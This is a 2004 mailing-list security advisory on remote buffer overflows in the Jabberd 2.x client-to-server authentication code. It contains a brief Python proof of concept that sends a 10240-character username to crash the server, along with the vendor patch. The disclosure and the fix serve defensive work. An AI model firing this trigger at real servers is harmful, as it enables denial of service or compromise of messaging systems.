[Full-Disclosure] Jabberd2.x remote BuffJabberd2.x remote Buffer Overflowser Overflows

From: icbm (icbm_at_0x557.org)
Date: 11/24/04

Next message: James Patterson Wicks: "RE: [Full-Disclosure] previledge password in cisco routers"

Previous message: SSR Team: "[Full-Disclosure] STG Security Advisory: [SSA-20041122-12] Zwiki XSS vulnerability"
Messages sorted by: [ date ] [ thread ] [ subject ] [ author ] [ attachment ]

To: full-disclosure@lists.netsys.com, bugtraq@securityfocus.com
Date: Wed, 24 Nov 2004 11:24:17 +0800

[Security Advisory]

Advisory: [AD_LAB-04002]Jabberd2.x remote Buffer Overflows
Authors: icbm@venustech.com.cn
Class: Boundary Condition Error
CVE:CAN-2004-0953
Remote: Yes, could allow remote compromise

Vulnerable: Jabberd 2.*
Unvulnerable: Jabberd 1.4
Vendor: http://jabberd.jabberstudio.org/

I.INFO:
-------

Jabber 2 server (Jabberd), the latest release of the popular open source
messaging system based
on the Jabber Protocol. It has been rewritten from the ground up to be
scalable, architecturally
sound, and to support the latest protocol extensions coming out of the
JSF. The goal of Jabber
is to provide an XML protocol for synchronous and asynchronous
communication for client to
client, client to server, and server to server messaging, although the
primary use of Jabber
is instant messaging (IM).

The C2S (Client to Server) component handles communication with Jabber
clients:
1.Connects to Jabber clients
2.Passes packets to the SM
3.Authenticates clients
4.Registers users
5.Triggers activity with the SM
The C2S component connects to the Authentication Data Package (authreg)
in order to register
and authenticate users.

II.DESCRIPTION:
------------------------

There is a remote buffer overflow in the C2S module of Jabberd2.x which
allows attackers to
crash the Jabberd sever or even run an arbitrary code on it.

The nature of this vulnerability lies in the fact that an attacker can
bypass the length check
of a username and the password and supply a very long username to the
server which directly handles
the long username with the database relate function like
mysql_real_escape_string, PQescapeString
etc. and then cause a remote buffer overflow.

III.DETAILS:
-----------------

In the Authreg.c(c2s) file the jabberd server cuts the length of the
username with this:

snprintf(username, 1024, "%.*s", NAD_CDATA_L(nad, elem),
NAD_CDATA(nad, elem));

So we believe the max length of the username is 1024, so the fist
problem is in the
authreg_mysql.c

static MYSQL_RES *_ar_mysql_get_user_tuple(authreg_t ar, char *username,
char *realm) {
    mysqlcontext_t ctx = (mysqlcontext_t) ar->private;
    MYSQL *conn = ctx->conn;
    char euser[513], erealm[513], sql[2049]; //euser and erealm only 513
long
    MYSQL_RES *res;

    if(mysql_ping(conn) != 0) {
        log_write(ar->c2s->log, LOG_ERR, "mysql: connection to database
lost");
        return NULL;
    }

mysql_real_escape_string(conn, euser, username,
strlen(username));//Thers is the buffer overflow
mysql_real_escape_string(conn, erealm, realm, strlen(realm));//and
there also has one.

As the user should be (strlen(username)*2)+1 long so if the username or
realm is longer than
256 bytes there will be a buffer overflow. But when we patched the hole
by increasing the user
and realm to 2049 bytes(1024*2+1) there still was a buffer overflow.

This data flow is:

_sx_sasl_scod_callback(sasl.c:501)
    |
    |----->_c2s_sx_sasl_callback(main.c:264)
        |
        |----->_ar_mysql_get_password(authreg_mysql.c:92)
            |
            |----->_ar_mysql_get_user_tuple(authreg_mysql.c:42)

So we find the essence of this problem: in the
_c2s_sx_sasl_callback(c2s/main.c) the sever directly
calls the database related function to handle the username here without
any length check.

BTW:In the file authreg_pgsql.c have the same problems, the code is below:

char euser[513], erealm[513], sql[2049]; /* query(1024) +
euser(512) + erealm(512) + \0(1) */
PGresult *res;

PQescapeString(euser, username, strlen(username));
PQescapeString(erealm, realm, strlen(realm));

IV.POC&Patch:
---------------------

Just a POC:)
#!/usr/bin/python
import xmpp
name = 'a'*10240
# Born a client
cl=xmpp.Client('localhost')
if not cl.connect(server=('192.168.10.138',5222)):
raise IOError('Can not connect to server.')
if not cl.auth(name,'jabberuserpassword','optional resource name'):
raise IOError('Can not auth with server.')
cl.disconnect()

Stephen Marquard gave a rapidly patch on this issue:

diff -ru c2sorig/authreg.c c2s/authreg.c
--- c2sorig/authreg.c Mon Nov 22 15:53:34 2004
+++ c2s/authreg.c Mon Nov 22 20:06:25 2004
@@ -623,7 +623,7 @@
log_write(c2s->log, LOG_NOTICE, "[%d] created user: user=%s;
realm=%s", sess->s->tag, username, sess->realm);

/* extract the password */
- snprintf(password, 1024, "%.*s", NAD_CDATA_L(nad, elem),
NAD_CDATA(nad, elem));
+ snprintf(password, 257, "%.*s", NAD_CDATA_L(nad, elem),
NAD_CDATA(nad, elem));

/* change it */
if((c2s->ar->set_password)(c2s->ar, username, sess->realm,
password) != 0)
diff -ru c2sorig/authreg_mysql.c c2s/authreg_mysql.c
--- c2sorig/authreg_mysql.c Mon Nov 22 15:53:34 2004
+++ c2s/authreg_mysql.c Mon Nov 22 16:55:37 2004
@@ -24,6 +24,10 @@

#ifdef STORAGE_MYSQL

+#define MYSQL_LU 1024 /* maximum length of username - should
correspond to field length */
+#define MYSQL_LR 256 /* maximum length of realm - should correspond
to field length */
+#define MYSQL_LP 256 /* maximum length of password - should
correspond to field length */
+
#include <mysql.h>

typedef struct mysqlcontext_st {
@@ -42,7 +46,8 @@
static MYSQL_RES *_ar_mysql_get_user_tuple(authreg_t ar, char
*username, char *realm) {
     mysqlcontext_t ctx = (mysqlcontext_t) ar->private;
     MYSQL *conn = ctx->conn;
- char euser[2049], erealm[2049], sql[5121]; /* query(1024) +
euser(2048) + erealm(2048) + \0(1) */
+ char iuser[MYSQL_LU+1], irealm[MYSQL_LR+1];
+ char euser[MYSQL_LU*2+1], erealm[MYSQL_LR*2+1], sql[1024 +
MYSQL_LU*2 + MYSQL_LR*2 + 1]; /* query(1024) + euser + erealm + \0(1) */
     MYSQL_RES *res;

     if(mysql_ping(conn) != 0) {
@@ -50,8 +55,11 @@
         return NULL;
     }

- mysql_real_escape_string(conn, euser, username, strlen(username));
- mysql_real_escape_string(conn, erealm, realm, strlen(realm));
+ snprintf(iuser, MYSQL_LU+1, "%s", username);
+ snprintf(irealm, MYSQL_LR+1, "%s", realm);
+
+ mysql_real_escape_string(conn, euser, iuser, strlen(iuser));
+ mysql_real_escape_string(conn, erealm, irealm, strlen(irealm));

sprintf(sql, ctx->sql_select, euser, erealm);

@@ -127,15 +135,21 @@
static int _ar_mysql_set_password(authreg_t ar, char *username, char
*realm, char password[257]) {
mysqlcontext_t ctx = (mysqlcontext_t) ar->private;
MYSQL *conn = ctx->conn;
- char euser[2049], erealm[2049], epass[513], sql[5633]; /*
query(1024) + euser(2048) + erealm(2048) + epass(512) + \0(1) */
+ char iuser[MYSQL_LU+1], irealm[MYSQL_LR+1];
+ char euser[MYSQL_LU*2+1], erealm[MYSQL_LR*2+1], epass[513],
sql[1024+MYSQL_LU*2+MYSQL_LR*2+512+1]; /* query(1024) + euser + erealm
+ epass(512) + \0(1) */

     if(mysql_ping(conn) != 0) {
         log_write(ar->c2s->log, LOG_ERR, "mysql: connection to database
lost");
         return 1;
     }

- mysql_real_escape_string(conn, euser, username, strlen(username));
- mysql_real_escape_string(conn, erealm, realm, strlen(realm));
+ snprintf(iuser, MYSQL_LU+1, "%s", username);
+ snprintf(irealm, MYSQL_LR+1, "%s", realm);
+
+ password[256]= '\0';
+
+ mysql_real_escape_string(conn, euser, iuser, strlen(iuser));
+ mysql_real_escape_string(conn, erealm, irealm, strlen(irealm));
mysql_real_escape_string(conn, epass, password, strlen(password));

     sprintf(sql, ctx->sql_setpassword, epass, euser, erealm);
@@ -195,15 +209,19 @@
static int _ar_mysql_set_zerok(authreg_t ar, char *username, char
*realm, char hash[41], char token[11], int sequence) {
     mysqlcontext_t ctx = (mysqlcontext_t) ar->private;
     MYSQL *conn = ctx->conn;
- char euser[2049], erealm[2049], ehash[81], etoken[21], sql[5233];
/* query(1024) + euser(2048) + erealm(2048) + ehash(80) + etoken(20) +
sequence(12) + \0(1) */
+ char iuser[MYSQL_LU+1], irealm[MYSQL_LR+1];
+ char euser[MYSQL_LU*2+1], erealm[MYSQL_LR*2+1], ehash[81],
etoken[21], sql[1024+MYSQL_LU*2+MYSQL_LR*2+80+20+12+1]; /* query(1024) +
euser + erealm + ehash(80) + etoken(20) + sequence(12) + \0(1) */

     if(mysql_ping(conn) != 0) {
         log_write(ar->c2s->log, LOG_ERR, "mysql: connection to database
lost");
         return 1;
     }

@@ -222,7 +240,8 @@
static int _ar_mysql_create_user(authreg_t ar, char *username, char
*realm) {
     mysqlcontext_t ctx = (mysqlcontext_t) ar->private;
     MYSQL *conn = ctx->conn;
- char euser[2049], erealm[2049], sql[5121]; /* query(1024) +
euser(2048) + erealm(2048) + \0(1) */
+ char iuser[MYSQL_LU+1], irealm[MYSQL_LR+1];
+ char euser[MYSQL_LU*2+1], erealm[MYSQL_LR*2+1],
sql[1024+MYSQL_LU*2+MYSQL_LR*2+1]; /* query(1024) + euser + erealm +
\0(1) */
     MYSQL_RES *res = _ar_mysql_get_user_tuple(ar, username, realm);

     if(res != NULL) {
@@ -237,8 +256,11 @@
         return 1;
     }

sprintf(sql, ctx->sql_create, euser, erealm);

@@ -255,15 +277,19 @@
static int _ar_mysql_delete_user(authreg_t ar, char *username, char
*realm) {
mysqlcontext_t ctx = (mysqlcontext_t) ar->private;
MYSQL *conn = ctx->conn;
- char euser[2049], erealm[2049], sql[5121]; /* query(1024) +
euser(2048) + erealm(2048) + \0(1) */
+ char iuser[MYSQL_LU+1], irealm[MYSQL_LR+1];
+ char euser[MYSQL_LU*2+1], erealm[MYSQL_LR*2+1],
sql[1024+MYSQL_LU*2+MYSQL_LR*2+1]; /* query(1024) + euser + erealm +
\0(1) */

     if(mysql_ping(conn) != 0) {
         log_write(ar->c2s->log, LOG_ERR, "mysql: connection to database
lost");
         return 1;
     }

sprintf(sql, ctx->sql_delete, euser, erealm);

diff -ru c2sorig/authreg_pgsql.c c2s/authreg_pgsql.c
--- c2sorig/authreg_pgsql.c Mon Nov 22 15:53:34 2004
+++ c2s/authreg_pgsql.c Mon Nov 22 16:52:20 2004
@@ -26,6 +26,10 @@

#include <libpq-fe.h>

+#define PGSQL_LU 1024 /* maximum length of username - should
correspond to field length */
+#define PGSQL_LR 256 /* maximum length of realm - should correspond
to field length */
+#define PGSQL_LP 256 /* maximum length of password - should
correspond to field length */
+
typedef struct pgsqlcontext_st {
   PGconn * conn;
   char * sql_create;
@@ -42,11 +46,16 @@
static PGresult *_ar_pgsql_get_user_tuple(authreg_t ar, char *username,
char *realm) {
     pgsqlcontext_t ctx = (pgsqlcontext_t) ar->private;
     PGconn *conn = ctx->conn;
- char euser[2049], erealm[2049], sql[5121]; /* query(1024) +
euser(2048) + erealm(2048) + \0(1) */
+
+ char iuser[PGSQL_LU+1], irealm[PGSQL_LR+1];
+ char euser[PGSQL_LU*2+1], erealm[PGSQL_LR*2+1],
sql[1024+PGSQL_LU*2+PGSQL_LR*2+1]; /* query(1024) + euser + erealm +
\0(1) */
     PGresult *res;

- PQescapeString(euser, username, strlen(username));
- PQescapeString(erealm, realm, strlen(realm));
+ snprintf(iuser, PGSQL_LU+1, "%s", username);
+ snprintf(irealm, PGSQL_LR+1, "%s", realm);
+
+ PQescapeString(euser, iuser, strlen(iuser));
+ PQescapeString(erealm, irealm, strlen(irealm));

sprintf(sql, ctx->sql_select, euser, erealm);

@@ -114,11 +123,15 @@
static int _ar_pgsql_set_password(authreg_t ar, char *username, char
*realm, char password[257]) {
     pgsqlcontext_t ctx = (pgsqlcontext_t) ar->private;
     PGconn *conn = ctx->conn;
- char euser[2049], erealm[2049], epass[513], sql[5633]; /*
query(1024) + euser(2048) + erealm(2048) + epass(512) + \0(1) */
+ char iuser[PGSQL_LU+1], irealm[PGSQL_LR+1];
+ char euser[PGSQL_LU*2+1], erealm[PGSQL_LR*2+1], epass[513],
sql[1024+PGSQL_LU*2+PGSQL_LR*2+512+1]; /* query(1024) + euser + erealm
+ epass(512) + \0(1) */
     PGresult *res;

     sprintf(sql, ctx->sql_setpassword, epass, euser, erealm);
@@ -177,11 +190,15 @@
static int _ar_pgsql_set_zerok(authreg_t ar, char *username, char
*realm, char hash[41], char token[11], int sequence) {
     pgsqlcontext_t ctx = (pgsqlcontext_t) ar->private;
     PGconn *conn = ctx->conn;
- char euser[2049], erealm[2049], ehash[81], etoken[21], sql[5233];
/* query(1024) + euser(2048) + erealm(2048) + ehash(80) + etoken(20) +
sequence(12) + \0(1) */
+ char iuser[PGSQL_LU+1], irealm[PGSQL_LR+1];
+ char euser[PGSQL_LU*2+1], erealm[PGSQL_LR*2+1], ehash[81],
etoken[21], sql[1024 + PGSQL_LU*2 + PGSQL_LR*2 + 80 + 20 + 12 + 1]; /*
query(1024) + euser + erealm + ehash(80) + etoken(20) + sequence(12) +
\0(1) */
     PGresult *res;

@@ -210,7 +227,8 @@
static int _ar_pgsql_create_user(authreg_t ar, char *username, char
*realm) {
     pgsqlcontext_t ctx = (pgsqlcontext_t) ar->private;
     PGconn *conn = ctx->conn;
- char euser[2049], erealm[2049], sql[5121]; /* query(1024) +
euser(2048) + erealm(2048) + \0(1) */
+ char iuser[PGSQL_LU+1], irealm[PGSQL_LR+1];
+ char euser[PGSQL_LU*2+1], erealm[PGSQL_LR*2+1],
sql[1024+PGSQL_LU*2+PGSQL_LR*2+1]; /* query(1024) + euser + erealm +
\0(1) */
     PGresult *res;

res = _ar_pgsql_get_user_tuple(ar, username, realm);
@@ -221,8 +239,11 @@

PQclear(res);

sprintf(sql, ctx->sql_create, euser, erealm);

@@ -249,11 +270,15 @@
static int _ar_pgsql_delete_user(authreg_t ar, char *username, char
*realm) {
     pgsqlcontext_t ctx = (pgsqlcontext_t) ar->private;
     PGconn *conn = ctx->conn;
- char euser[2049], erealm[2049], sql[5121]; /* query(1024) +
euser(2048) + erealm(2048) + \0(1) */
+ char iuser[PGSQL_LU+1], irealm[PGSQL_LR+1];
+ char euser[PGSQL_LU*2+1], erealm[PGSQL_LR*2+1],
sql[1024+PGSQL_LU*2+PGSQL_LR*2+1]; /* query(1024) + euser + erealm +
\0(1) */
     PGresult *res;

sprintf(sql, ctx->sql_delete, euser, erealm);

V.CREDIT:
----------------

Thanks to Alex, Simon and rob@cataclysm.cx help me on this and Stephen
Marquard's rapidly patch.
Sam, Air, Kkqq, Swan, Flashsky, S0f, Cjj and all Venustech AD-Lab guys
and "Niubi" Houzi!:)
And my LeiLei...

VI.DISCLAIMS:
----------------------

The information in this bulletin is provided "AS IS" without warranty of any
kind. In no event shall we be liable for any damages whatsoever
including direct,
indirect, incidental, consequential, loss of business profits or special
damages.

VENUSTECH Security Lab
VENUSTECH INFORMATION TECHNOLOGY CO.,LTD(http://www.venustech.com.cn)

Security
Trusted {Solution} Provider
Service

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

Next message: James Patterson Wicks: "RE: [Full-Disclosure] previledge password in cisco routers"

Previous message: SSR Team: "[Full-Disclosure] STG Security Advisory: [SSA-20041122-12] Zwiki XSS vulnerability"
Messages sorted by: [ date ] [ thread ] [ subject ] [ author ] [ attachment ]

Relevant Pages

Jabberd2.x remote BuffJabberd2.x remote Buffer Overflowser Overflows
... Jabber 2 server, the latest release of the popular open source ... of a username and the password and supply a very long username to the ... realm is longer than ...
(Bugtraq)
Jabberd2.x remote BuffJabberd2.x remote Buffer Overflowser Overflows
... Jabber 2 server, the latest release of the popular open source ... of a username and the password and supply a very long username to the ... realm is longer than ...
(Full-Disclosure)
[UNIX] Jabberd Remote Buffer Overflows
... Jabberd, ... The vulnerability is made possible when a very long username and password ... realm is longer than 256 bytes, ... mysql_real_escape_string(conn, erealm, irealm, strlen(irealm)); ...
(Securiteam)
Re: XP Intranet Login Issue
... You get prompted to enter a username and password when accessing an internal ... >> service ticket is different than that on the target server. ... >> is due to identically named machine accounts in the target realm ... >> I do not know what it means but the XP machine cannot login. ...
(microsoft.public.windowsxp.security_admin)
Re: Roots Mail
... > install. ... I assume I can change it to the new username in the exim config ... Email and Instant Messenger (Jabber): ...
(Debian-User)